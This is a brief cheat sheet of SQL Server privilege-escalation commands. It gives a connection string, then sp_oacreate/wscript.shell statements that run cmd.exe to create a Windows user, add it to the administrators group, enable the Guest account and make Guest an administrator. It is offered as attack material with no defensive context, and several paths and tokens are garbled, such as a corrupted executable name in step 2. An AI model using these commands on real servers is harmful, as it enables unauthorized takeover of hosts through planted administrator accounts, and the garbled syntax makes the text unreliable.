Common SQL Privilege Escalation commands

1. Connect to the database

Driver = {SQL Server}; server = Server IP address; uid = user name; pwd = password; database = database Name

2. Add a new user

Declare @ shell int exec sp_oacreate wscript. shell, @ shell output exec sp_oamethod @ shell, run, null, c: windowssystem3220..exe/c net user New user Password/add

3. Add the user to the Management Group

Declare @ shell int exec sp_oacreate wscript. shell, @ shell output exec sp_oamethod @ shell, run, null, c: windowssystem32cmd.exe/c net localgroup administrators new user/add

4. Activate the GUEST user

Declare @ shell int exec sp_oacreate wscript. shell, @ shell output exec sp_oamethod @ shell, run, null, c: windowssystem32cmd.exe/c net user guest/active: yes

5. Add Guest to the Management Group.

Declare @ shell int exec sp_oacreate wscript. shell, @ shell output exec sp_oamethod @ shell, run, null, c: windowssystem32cmd.exe/c net localgroup Administrators Guest/add